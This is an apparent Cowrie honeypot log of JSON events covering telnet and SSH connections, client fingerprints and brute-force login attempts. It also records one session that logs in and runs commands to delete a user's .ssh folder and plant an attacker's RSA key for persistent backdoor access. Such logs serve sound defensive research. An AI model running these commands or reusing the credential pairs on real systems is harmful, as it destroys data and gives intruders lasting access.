{"eventid":"cowrie.session.closed","duration":34.278536319732666,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:19.362426Z","src_ip":"80.252.221.197","session":"3069e832a319","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.79305052757263,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:20.945819Z","src_ip":"80.252.221.197","session":"d9a40b79e276","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46192,"dst_ip":"10.17.0.5","dst_port":23,"session":"473836085da5","protocol":"telnet","message":"New connection: 159.203.13.64:46192 (10.17.0.5:23) [session: 473836085da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:21.231736Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":55350,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad79ea63baf9","protocol":"telnet","message":"New connection: 37.97.152.182:55350 (10.17.0.5:23) [session: ad79ea63baf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:22.121323Z"}
{"eventid":"cowrie.session.closed","duration":44.29515814781189,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:23.844539Z","src_ip":"159.203.13.64","session":"b6c759d85e80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46194,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdc2221e2544","protocol":"telnet","message":"New connection: 159.203.13.64:46194 (10.17.0.5:23) [session: fdc2221e2544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:26.491084Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46206,"dst_ip":"10.17.0.5","dst_port":23,"session":"a66d863f5761","protocol":"telnet","message":"New connection: 159.203.13.64:46206 (10.17.0.5:23) [session: a66d863f5761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:27.610235Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":35668,"dst_ip":"159.203.135.109","dst_port":22,"session":"e384be6769c6","protocol":"ssh","message":"New connection: 186.13.24.118:35668 (159.203.135.109:22) [session: e384be6769c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:27.848098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:27.852252Z","src_ip":"186.13.24.118","session":"e384be6769c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":58120,"dst_ip":"10.17.0.5","dst_port":23,"session":"a272206fb471","protocol":"telnet","message":"New connection: 37.97.152.182:58120 (10.17.0.5:23) [session: a272206fb471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:27.866975Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:28.022810Z","src_ip":"186.13.24.118","session":"e384be6769c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx#EDC4rfv","message":"login attempt [admin/!QAZ2wsx#EDC4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:28.737471Z","src_ip":"186.13.24.118","session":"e384be6769c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":58720,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3d6112cedbb","protocol":"telnet","message":"New connection: 37.97.152.182:58720 (10.17.0.5:23) [session: b3d6112cedbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:29.540455Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:29.912104Z","src_ip":"186.13.24.118","session":"e384be6769c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"44.8","message":"Connection lost after 44.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:30.907092Z","src_ip":"45.78.194.242","session":"fe3ce1e156e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":52388,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bd4a093bd6b","protocol":"telnet","message":"New connection: 159.203.13.64:52388 (10.17.0.5:23) [session: 2bd4a093bd6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:32.235482Z"}
{"eventid":"cowrie.session.closed","duration":40.71237087249756,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:34.318975Z","src_ip":"159.203.13.64","session":"970fe66619e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.584890365600586,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:35.947076Z","src_ip":"80.252.221.197","session":"9917dd1bcf1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.77139949798584,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:37.079958Z","src_ip":"162.253.42.116","session":"eb86e0b64a53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":52402,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf5f27c010aa","protocol":"telnet","message":"New connection: 159.203.13.64:52402 (10.17.0.5:23) [session: bf5f27c010aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:38.084268Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":33794,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6d09a1cc85d","protocol":"telnet","message":"New connection: 37.97.152.182:33794 (10.17.0.5:23) [session: b6d09a1cc85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:38.729682Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50634,"dst_ip":"159.203.135.109","dst_port":22,"session":"6777aec823e7","protocol":"ssh","message":"New connection: 159.203.92.129:50634 (159.203.135.109:22) [session: 6777aec823e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:43.897697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:43.916038Z","src_ip":"159.203.92.129","session":"6777aec823e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:43.919524Z","src_ip":"159.203.92.129","session":"6777aec823e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alt","password":"alt","message":"login attempt [alt/alt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:44.005166Z","src_ip":"159.203.92.129","session":"6777aec823e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45496,"dst_ip":"10.17.0.5","dst_port":23,"session":"b98b2475fb5a","protocol":"telnet","message":"New connection: 159.203.13.64:45496 (10.17.0.5:23) [session: b98b2475fb5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:44.667890Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":45502,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c48c096288e","protocol":"telnet","message":"New connection: 159.203.13.64:45502 (10.17.0.5:23) [session: 6c48c096288e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:44.720368Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:45.012564Z","src_ip":"159.203.92.129","session":"6777aec823e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":34192,"dst_ip":"159.203.135.109","dst_port":22,"session":"96014ff8d271","protocol":"ssh","message":"New connection: 103.215.80.173:34192 (159.203.135.109:22) [session: 96014ff8d271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:51.822528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:51.837857Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:52.250276Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93445110321045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:53.055681Z","src_ip":"37.97.152.182","session":"ad79ea63baf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":40270,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eb1799ad9b7","protocol":"telnet","message":"New connection: 37.97.152.182:40270 (10.17.0.5:23) [session: 9eb1799ad9b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:53.217497Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin00","message":"login attempt [admin/admin00] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:53.930953Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:54.399956Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:54.404490Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:54.408790Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51930,"dst_ip":"10.17.0.5","dst_port":23,"session":"224f1cbea28f","protocol":"telnet","message":"New connection: 159.203.13.64:51930 (10.17.0.5:23) [session: 224f1cbea28f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:54.612772Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:54.618794Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":51946,"dst_ip":"10.17.0.5","dst_port":23,"session":"41c7f0ed780c","protocol":"telnet","message":"New connection: 159.203.13.64:51946 (10.17.0.5:23) [session: 41c7f0ed780c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:54.690066Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:55.081169Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:55.085125Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:55.297466Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:55.303677Z","src_ip":"103.215.80.173","session":"96014ff8d271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":34194,"dst_ip":"159.203.135.109","dst_port":22,"session":"92618f81fe49","protocol":"ssh","message":"New connection: 103.215.80.173:34194 (159.203.135.109:22) [session: 92618f81fe49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:56.538612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:56.543709Z","src_ip":"103.215.80.173","session":"92618f81fe49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:56.751765Z","src_ip":"103.215.80.173","session":"92618f81fe49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":42518,"dst_ip":"159.203.135.109","dst_port":23,"session":"5142baa0be11","protocol":"telnet","message":"New connection: 80.252.221.197:42518 (159.203.135.109:23) [session: 5142baa0be11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:57.153404Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:57.611894Z","src_ip":"103.215.80.173","session":"92618f81fe49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.573604106903076,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:57.835682Z","src_ip":"159.203.13.64","session":"4402bee19b76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":56880,"dst_ip":"10.17.0.5","dst_port":23,"session":"81aaab74424a","protocol":"telnet","message":"New connection: 152.53.125.71:56880 (10.17.0.5:23) [session: 81aaab74424a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:57.924950Z"}
{"eventid":"cowrie.session.closed","duration":30.22753405570984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:58.094396Z","src_ip":"37.97.152.182","session":"a272206fb471","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":56884,"dst_ip":"10.17.0.5","dst_port":23,"session":"d967698399f8","protocol":"telnet","message":"New connection: 152.53.125.71:56884 (10.17.0.5:23) [session: d967698399f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:07:58.229192Z"}
